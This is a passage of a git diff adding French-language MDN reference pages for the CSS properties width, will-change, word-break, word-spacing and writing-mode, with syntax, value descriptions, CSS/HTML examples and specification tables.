+ <li>un des mots-clés suivants : <code><a href="#available">available</a></code>, <code><a href="#min-content">min-content</a></code>, <code><a href="#max-content">max-content</a></code>, <code><a href="#fit-content">fit-content</a></code>, <code><a href="#auto">auto</a></code>.</li>
+ <li>ou une valeur de longeur (<code><a href="#length">&lt;length&gt;</a></code>) ou de pourcentage (<code><a href="#percentage">&lt;percentage&gt;</a></code>) éventuellement suivie par le mots-clé <code><a href="#border-box">border-box</a></code> ou <code><a href="#content-box">content-box</a></code>.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="length" name="length"><code>&lt;length&gt;</code></a></dt>
+ <dd>Voir {{cssxref("&lt;length&gt;")}} pour les unités qui peuvent être utilisées.</dd>
+ <dt><a id="percentage" name="percentage"><code>&lt;percentage&gt;</code></a></dt>
+ <dd>Permet de définir la largeur en pourcentages ({{cssxref("&lt;percentage&gt;")}}) par rapport à la largeur du bloc contenant le bloc courant. Si la largeur du bloc englobant dépend de la largeur de l'élément, la disposition est indéfinie.</dd>
+ <dt><code><a id="border-box" name="border-box">border-box</a> </code>{{experimental_inline}}</dt>
+ <dd>Si cette valeur est présente, la longueur ({{cssxref("&lt;length&gt;")}}) ou le pourcentage ({{cssxref("&lt;percentage&gt;")}}) est appliqué à la boîte de bordure (<em>border</em>) de l'élément.</dd>
+ <dt><a id="content-box" name="content-box"><code>content-box</code></a> {{experimental_inline}}</dt>
+ <dd>Si cette valeur est présente, la longueur ({{cssxref("&lt;length&gt;")}}) ou le pourcentage ({{cssxref("&lt;percentage&gt;")}}) est appliqué à la boîte de contenu de l'élément.</dd>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>Le navigateur calculera et sélectionnera une largeur pour l'élément.</dd>
+ <dt><a id="fill" name="fill"><code>fill</code></a> {{experimental_inline}}</dt>
+ <dd>Utilise la taille <code>fill-available</code> dans l'axe du sens de lecture ou la taille <code>fill-available</code> dans l'axe perpendiculaire au sens de lecture selon le mode d'écriture.</dd>
+ <dt><a id="max-content" name="max-content"><code>max-content</code></a> {{experimental_inline}}</dt>
+ <dd>La largeur intrinsèque préférée.</dd>
+ <dt><a id="min-content" name="min-content"><code>min-content</code></a> {{experimental_inline}}</dt>
+ <dd>La largeur intrinsèque minimum.</dd>
+ <dt><a id="available" name="available"><code>available</code></a> {{experimental_inline}}</dt>
+ <dd>La largeur du bloc contenant le bloc courant, moins la marge horizontale, la bordure et le remplissage (<em>padding</em>).</dd>
+ <dt id="fit-content"><a id="fit-content" name="fit-content"><code>fit-content</code></a> {{experimental_inline}}</dt>
+ <dd>La quantité la plus grande entre :
+ <ul>
+  <li>La largeur intrinsèque minimum</li>
+  <li>Le minimum entre la largeur intrinsèque préférée et la largeur disponible</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Valeur_par_défaut">Valeur par défaut</h3>
+
+<pre class="brush:css">p.goldie {
+  background: gold;
+}</pre>
+
+<pre class="brush:html">&lt;p class="goldie"&gt;La communauté Mozilla ressemble à un panda roux.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('Valeur_par_défaut', '500px', '64px')}}</p>
+
+<h3 id="En_utilisant_les_pixels_et_les_em">En utilisant les pixels et les <code>em</code></h3>
+
+<pre class="brush: css">.longueur_px {
+  width: 200px;
+  background-color: red;
+  color: white;
+  border: 1px solid black;
+}
+
+.longueur_em {
+  width: 20em;
+  background-color: white;
+  color: red;
+  border: 1px solid black;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="longueur_px"&gt;Largeur mesurée en pixels&lt;/div&gt;
+&lt;div class="longueur_em"&gt;Largeur mesurée en ems&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('En_utilisant_les_pixels_et_les_em', '500px', '64px')}}</p>
+
+<h3 id="En_utilisant_les_pourcentages">En utilisant les pourcentages</h3>
+
+<pre class="brush: css">.pourcent {
+  width: 20%;
+  background-color: silver;
+  border: 1px solid red;
+}</pre>
+
+<pre class="brush: html">&lt;div class="pourcent"&gt;Largeur exprimée en pourcentages&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('En_utilisant_les_pourcentages', '500px', '64px')}}</p>
+
+<h3 id="En_utilisant_max-content">En utilisant <code>max-content</code></h3>
+
+<pre class="brush:css;">p.maxgreen {
+  background: lightgreen;
+  width: intrinsic;           /* Safari/WebKit utilisent un nom non-standard */
+  width: -moz-max-content;    /* Firefox/Gecko */
+  width: -webkit-max-content; /* Chrome */
+}</pre>
+
+<pre class="brush:html">&lt;p class="maxgreen"&gt;La communauté Mozilla ressemble à un panda roux.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('En_utilisant_max-content', '500px', '64px')}}</p>
+
+<h3 id="En_utilisant_min-content">En utilisant <code>min-content</code></h3>
+
+<pre class="brush:css">p.minblue {
+  background: lightblue;
+  width: -moz-min-content;    /* Firefox */
+  width: -webkit-min-content; /* Chrome */
+}</pre>
+
+<pre class="brush:html">&lt;p class="minblue"&gt;La communauté Mozilla ressemble à un panda roux.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('En_utilisant_min-content', '500px', '155px')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Il faut s'assurer que les éléments sur lesquels on utilise <code>width</code> ne sont pas tronqués et ne masquent pas d'autre contenu sur la page lorsque l'utilisateur zoome afin d'agrandir la taille du texte.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener"><em>Understanding Success Criterion 1.4.4  | Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Ajout des mots-clés <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code>, <code>border-box</code> et <code>content-box</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'width')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>width</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#the-width-property', 'width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Précision sur les éléments auxquels peuvent être appliquée la propriété.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#width', 'width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Modèle_de_boîte">Le modèle de boîtes</a>, {{cssxref("height")}}, {{cssxref("box-sizing")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}</li>
+</ul>
diff --git a/files/fr/web/css/will-change/index.html b/files/fr/web/css/will-change/index.html
new file mode 100644
index 0000000000..177af45c33
--- /dev/null
+++ b/files/fr/web/css/will-change/index.html
@@ -0,0 +1,133 @@
+---
+title: will-change
+slug: Web/CSS/will-change
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/will-change
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>will-change</code></strong> fournit une indication au navigateur sur la propension d'un élément à changer (afin que le navigateur puisse mettre en place les optimisations nécessaires avant que l'élément change vraiment). Ce type d'optimisation permet d'augmenter la réactivité de la page en effectuant des calculs (éventuellement coûteux) en prévision du changement.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> <code>will-change</code> est conçu pour être utilisé en dernier recours afin d'aider à la résolutions de problèmes de performance existants. Il ne doit pas être utilisé partout de façon purement préventive.</p>
+</div>
+
+<pre class="brush:css no-line-numbers notranslate">/* Avec un mot-clé */
+will-change: auto;
+will-change: scroll-position;
+will-change: contents;
+will-change: transform;        /* Exemple de &lt;custom-ident&gt; */
+will-change: opacity;          /* Exemple de &lt;custom-ident&gt; */
+will-change: left, top;        /* Exemple de deux &lt;animateable-feature&gt; */
+
+/* Valeurs globales */
+will-change: inherit;
+will-change: initial;
+will-change: unset;
+</pre>
+
+<p>Il est parfois difficile de bien utiliser cette propriété :</p>
+
+<ul>
+ <li>
+  <p id="Don't_apply_will-change_to_too_many_elements"><em>Il ne faut pas appliquer <code>will-change</code> à de trop nombreux éléments.</em> Le navigateur essaie déjà d'optimiser de nombreuses choses. Certaines de ces optimisations sont fortement couplées avec <code>will-change</code> pour utiliser les ressources de l'ordinateur. Aussi, si <code>will-change</code> est « trop » utilisé, cela peut ralentir la page et consommer intensivement les ressources.</p>
+ </li>
+ <li>
+  <p><em>À utiliser avec parcimonie.</em> Normalement, le navigateur essaie d'appliquer les optimisations dès que possible afin de revenir au plus vite dans un état normal. En revanche, en utilisant <code>will-change</code> dans la feuille de style, on indique que les éléments ciblés vont bientôt changer et le navigateur conservera les optimisations en cours beaucoup plus longtemps si la propriété est maintenue. Il est donc conseillé d'activer et de désactiver <code>will-change</code> de façon pertinente grâce à du script avant et après le changement concerné.</p>
+ </li>
+ <li>
+  <p><em>Ne pas « sur-optimiser » avec <code>will-change</code></em>. Si votre page fonctionne correctement, n'ajoutez pas la propriété <code>will-change</code> sur certains éléments uniquement pour gagner un peu de vitesse. <code>will-change</code> est conçu pour être utilisé en dernier ressort afin de régler les problèmes de performances existants. En utilisant <code>will-change</code> trop souvent, cela consommera plus de mémoire, complexifiera le rendu de la page pour le navigateur (qui se préparera au changement). En bref, cela réduira les performances de la page.</p>
+ </li>
+ <li>
+  <p id="Give_it_sufficient_time_to_work"><em>Laisser le temps à <code>will-change</code> pour qu'il fonctionne.</em> Cette propriété est conçue pour permettre aux auteurs d'indiquer à l'agent-utilisateur les propriétés qui vont probablement changer afin que le navigateur puisse optimiser en avance de phase. Il est donc important de laisser le temps au navigateur d'appliquer ces opérations pour que l'effet obtenu soit bénéfique. Pour cela, mieux vaut donc prévoir légèrement avant le changement que celui-ci aura lieu et alors modifier <code>will-change</code> en prévision.</p>
+ </li>
+ <li>
+  <p><em>Sachez que <code>will-change</code></em><em> peut modifier l'apparence des éléments</em> lorsqu'il est utilisé avec des propriétés qui créent <a href="/fr/docs/Web/CSS/Comprendre_z-index/Empilement_de_couches">des contextes d'empilement</a> (par exemple <code>will-change: opacity</code>) car le contexte d'empilement est créé au préalable.</p>
+ </li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Ce mot-clé ne traduit pas d'intention particulière. Dans ce cas, l'agent utilisateur applique les méthodes d'optimisations et heuristiques normales.</dd>
+</dl>
+
+<p>Un valeur de type <code>&lt;animateable-feature&gt;</code> peut être :</p>
+
+<dl>
+ <dt><code>scroll-position</code></dt>
+ <dd>L'auteur indique que le défilement de l'élément va prochainement être animé et/ou modifié.</dd>
+ <dt><code>contents</code></dt>
+ <dd>L'auteur indique que le contenu de l'élément va prochainement être modifié ou animé.</dd>
+ <dt>{{cssxref("custom-ident", "&lt;custom-ident&gt;")}}</dt>
+ <dd>Ce type permet d'indiquer que la propriété donnée va prochainement être modifiée ou animée. Si la propriété fournie est un raccourci, on s'attendra à ce que toutes les propriétés détaillées correspondantes soient animées ou changées. Une valeur de ce type ne peut pas être <code>unset</code>, <code>initial</code>, <code>inherit</code>, <code>will-change</code>, <code>auto</code>, <code>scroll-position</code>, ou <code>contents</code>. La spécification ne définit pas le comportement d'une valeur spécifique mais généralement, lorsqu'on utilise <code>transform</code>, cela indique que les couches qui composent la page vont évoluer. <a href="https://github.com/operasoftware/devopera/pull/330">Chrome prend deux mesures</a> selon les propriétés utilisées ici : il établit une nouvelle composition des couches de rendu ou crée un nouveau contexte d'empilement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css notranslate">.sidebar {
+  will-change: transform;
+}
+</pre>
+
+<p>Dans l'exemple précédent, on applique la propriété <code>will-change</code> à même la feuille de style. Dans ce cas, le navigateur conservera l'optimisation en mémoire beaucoup plus longtemps que nécessaire. Nous avons vu précédemment que cela devait être évité et voici donc un deuxième exemple qui illustre comment appliquer la propriété <code>will-change</code> grâce à JavaScript (et qui correspond donc à la méthode qui devrait être utilisée la plupart du temps) :</p>
+
+<pre class="brush: js notranslate">var el = document.getElementById('element');
+
+// On applique will-change quand la souris/curseur
+// pointeur/stylet passe au-dessus de l'élément
+el.addEventListener('mouseenter', hintBrowser);
+el.addEventListener('animationEnd', removeHint);
+
+function hintBrowser() {
+  // On liste les propriétés sujettes au changement
+  // lors de l'animation
+  this.style.willChange = 'transform, opacity';
+}
+
+function removeHint() {
+  this.style.willChange = 'auto';
+}</pre>
+
+<p>Cela peut toutefois être pertinent d'inclure <code>will-change</code> dans la feuille de style d'une application qui gère des changements de pages ou des diapositives parmi lesquelles on navigue lorsque les pages sont complexes. Cela permettra au navigateur de préparer la transition en avance de phase et de mieux réagir au changement de page (ou de diapositive) lorsque le bouton associé sera utilisé.</p>
+
+<pre class="brush: css notranslate">.slide {
+  will-change: transform;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Will Change', '#will-change', 'will-change')}}</td>
+   <td>{{Spec2('CSS Will Change')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.will-change")}}</p>
diff --git a/files/fr/web/css/word-break/index.html b/files/fr/web/css/word-break/index.html
new file mode 100644
index 0000000000..36f25e5028
--- /dev/null
+++ b/files/fr/web/css/word-break/index.html
@@ -0,0 +1,130 @@
+---
+title: word-break
+slug: Web/CSS/word-break
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/word-break
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété<strong> <code>word-break</code></strong> est utilisée pour définir la façon dont la césure s'applique pour les endroits où le texte dépasserait de sa boîte de contenu.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/word-break.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Avec un mot-clé */
+word-break: normal;
+word-break: break-all;
+word-break: keep-all;
+word-break: break-word; /* dépréciée */
+
+/* Valeurs globales */
+word-break: inherit;
+word-break: initial;
+word-break: unset;
+</pre>
+
+<p>La propriété <code>word-break</code> est définie avec un mot-clé parmi ceux décrits ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Le passage à la ligne classique est utilisé.</dd>
+ <dt><code>break-all</code></dt>
+ <dd>La césure peut être insérée après n'importe quel caractère (ne s'applique pas pour les textes en chinois, japonais et coréen).</dd>
+ <dt><code>keep-all</code></dt>
+ <dd>La césure est interdite pour les textes en chinois, japonais et coréen. Pour les autres types de texte, le comportement est le même que <code>normal</code>.</dd>
+ <dt><code>break-word</code>{{deprecated_inline}}</dt>
+ <dd>Aura le même effet que <code>word-break: normal</code> et que <code>overflow-wrap: anywhere</code> quelle que soit la valeur de la propriété {{cssxref("overflow-wrap")}}.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Contrairement à <code>word-break: break-word</code> et à <code>overflow-wrap: break-word</code> (cf. {{cssxref("overflow-wrap")}}), <code>word-break: break-all</code> créera une césure à l'endroit exact où le mot aurait dépassé du conteneur (même si placer le mot entier sur sa propre ligne aurait pu éviter la césure).</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="normal étroit"&gt; Voici une Supercalifragilisticexpialidocious califragilisticexpialidocious phrase. グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉 &lt;/p&gt;
+&lt;p class="breakAll étroit"&gt; Voici une Supercalifragilisticexpialidocious califragilisticexpialidocious phrase. グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉 &lt;/p&gt;
+&lt;p class="breakWord étroit"&gt; Voici une Supercalifragilisticexpialidocious califragilisticexpialidocious phrase. グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉 &lt;/p&gt;
+&lt;p class="keep étroit"&gt; Voici une Supercalifragilisticexpialidocious califragilisticexpialidocious phrase.  グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.étroit {
+  padding: 10px;
+  border: 1px solid;
+  width: 500px;
+  margin: 0 auto;
+  font-size: 20px;
+  line-height: 1.5;
+  letter-spacing: 1px;
+}
+
+.normal {
+  word-break: normal;
+}
+
+.breakAll {
+  word-break: break-all;
+}
+
+.keep {
+  word-break: keep-all;
+}
+
+.breakWord {
+  word-break: break-word;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple','100%',600)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#word-break-property', 'word-break')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.word-break")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("word-wrap")}}</li>
+ <li>{{cssxref("overflow-wrap")}}</li>
+</ul>
diff --git a/files/fr/web/css/word-spacing/index.html b/files/fr/web/css/word-spacing/index.html
new file mode 100644
index 0000000000..808ec87c68
--- /dev/null
+++ b/files/fr/web/css/word-spacing/index.html
@@ -0,0 +1,128 @@
+---
+title: word-spacing
+slug: Web/CSS/word-spacing
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/word-spacing
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>word-spacing</code></strong> définit la règle d'espacement utilisée entre les balises et entre les mots.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/word-spacing.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Avec un mot-clé */
+word-spacing: normal;
+
+/* Valeurs de longueur */
+/* type &lt;length&gt; */
+word-spacing: 3px;
+word-spacing: 0.3em;
+
+/* Valeurs en pourcentages */
+/* type &lt;percentage&gt; */
+word-spacing: 50%;
+word-spacing: 200%;
+
+/* Valeurs globales */
+word-spacing: inherit;
+word-spacing: initial;
+word-spacing: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>L'espace normale entre les mots (ou inter-mot), tel qu'il est défini par la police courante et/ou le navigateur.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de longueur définit l'espace qu'on ajoute à l'inter-mot intrinsèque défini par la police. Voir {{cssxref("&lt;length&gt;")}} pour les différentes valeurs et unités possibles.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur en pourcentages définit la taille de l'inter-mot à utiliser par rapport à la position du prochain caractère (si on utilise <code>-100%</code>, l'espace sera nul et si on utilise <code>100%</code>, il sera doublé). Voir {{cssxref("&lt;percentage&gt;")}} pour les différentes valeurs et unités possibles.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="ligne1"&gt;Voici le texte de la ligne 1 &lt;/p&gt;
+&lt;p id="ligne2" &gt;Et voilà celui de la ligne 2 &lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#ligne1 {
+  word-spacing: 15px;
+}
+
+#ligne2 {
+  word-spacing: 5em;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Utiliser des valeurs trop importantes (positives ou négatives) pour <code>word-spacing</code> rend le texte illisible. Si l'espacement utilisé est trop grand, la structure visuelle ne permettra plus d'identifier une phrase. Si l'espacement est trop petit, les mots se chevaucheront et on ne pourra plus distinguer le début et la fin de chaque mot.</p>
+
+<p>La bonne valeur à utiliser pour <code>word-spacing</code> doit être déterminée au cas par cas, en fonction du type de police utilisé et de la largeur de celle-ci.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Understanding Success Criterion 1.4.8 - W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#propdef-word-spacing', 'word-spacing')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Remplace les valeurs précédentes avec une valeur <code>&lt;spacing-limit&gt;</code> qui définit la même valeur et la valeur <code>&lt;percentage&gt;</code> et permet d'avoir trois valeurs pour décrire un optimum, un minimum, et un maximum.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'word-spacing')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>word-spacing</code> peut désormais être animé.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#propdef-word-spacing', 'word-spacing')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#word-spacing', 'word-spacing')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.word-spacing")}}</p>
diff --git a/files/fr/web/css/writing-mode/index.html b/files/fr/web/css/writing-mode/index.html
new file mode 100644
index 0000000000..6fb8e222ca
--- /dev/null
+++ b/files/fr/web/css/writing-mode/index.html
@@ -0,0 +1,210 @@
+---
+title: writing-mode
+slug: Web/CSS/writing-mode
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/writing-mode
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>writing-mode</code></strong> définit si les lignes d'un texte sont écrites horizontalement ou verticalement et la direction selon laquelle le bloc grandit. Lorsque cette propriété est définie pour un document entier, elle devrait être appliquée à la racine (soit l'élément {{HTMLElement("html")}} pour les documents HTML).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/writing-mode.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La propriété définit la direction du flux du bloc. C'est dans cette direction que les conteneurs de bloc seront empilés et c'est dans cette direction que le contenu en flux « coule » dans un bloc contenur. Ainsi, la propriété <code>writing-mode</code> détermine également l'ordre du contenu de niveau bloc.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Avec un mot-clé */
+writing-mode: horizontal-tb;
+writing-mode: vertical-rl;
+writing-mode: vertical-lr;
+
+/* Valeurs globales */
+writing-mode: inherit;
+writing-mode: initial;
+writing-mode: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>horizontal-tb</code></dt>
+ <dd>Le contenu coule horizontalement de gauche à droite puis de haut en bas. La ligne horizontale suivante est positionnée sous la ligne précédente.</dd>
+ <dt><code>vertical-rl</code></dt>
+ <dd>Le contenu coule verticalement de haut en bas puis horizontalement de droite à gauche. La ligne verticale suivante est positionnée à gauche de la ligne précédente.</dd>
+ <dt><code>vertical-lr</code></dt>
+ <dd>Le contenu coule verticalement de haut en bas puis horizontalement de gauche à droite. La ligne verticale suivante est positionnée à droite de la ligne précédente.</dd>
+ <dt><code>sideways-rl</code>{{experimental_inline}}</dt>
+ <dd>Le contenu coule verticalement du haut vers le bas et tous les glyphes, y compris pour les systèmes d'écriture verticaux sont tournés sur le côté, vers la droite.</dd>
+</dl>
+
+<dl>
+ <dt><code>sideways-lr</code>{{experimental_inline}}</dt>
+ <dd>Le contenu coule verticalement du haut vers le bas et tous les glyphes, y compris pour les systèmes d'écriture verticaux sont tournés sur le côté, vers la gauche.</dd>
+ <dt><code>lr</code> {{deprecated_inline}}</dt>
+ <dd>Valeur dépréciée, sauf pour les documents SVG1. Pour CSS, il faut utiliser <code>horizontal-tb</code>.</dd>
+ <dt><code>lr-tb</code> {{deprecated_inline}}</dt>
+ <dd>Valeur dépréciée, sauf pour les documents SVG1. Pour CSS, il faut utiliser <code>horizontal-tb</code>.</dd>
+ <dt><code>rl</code> {{deprecated_inline}}</dt>
+ <dd>Valeur dépréciée, sauf pour les documents SVG1. Pour CSS, il faut utiliser <code>horizontal-tb</code>.</dd>
+ <dt><code>tb</code> {{deprecated_inline}}</dt>
+ <dd>Valeur dépréciée, sauf pour les documents SVG1. Pour CSS, il faut utiliser <code>vertical-rl</code>.</dd>
+ <dt><code>tb-rl</code> {{deprecated_inline}}</dt>
+ <dd>Valeur dépréciée, sauf pour les documents SVG1. Pour CSS, il faut utiliser <code>vertical-rl</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Ce fragment de code HTML contient un tableau ({{HTMLElement("table")}}) dont chaque ligne indique le mode d'écriture et des exemples de scripts utilisés.</p>
+
+<pre class="brush: html">&lt;table&gt;
+    &lt;tr&gt;
+        &lt;th&gt;Valeur&lt;/th&gt;
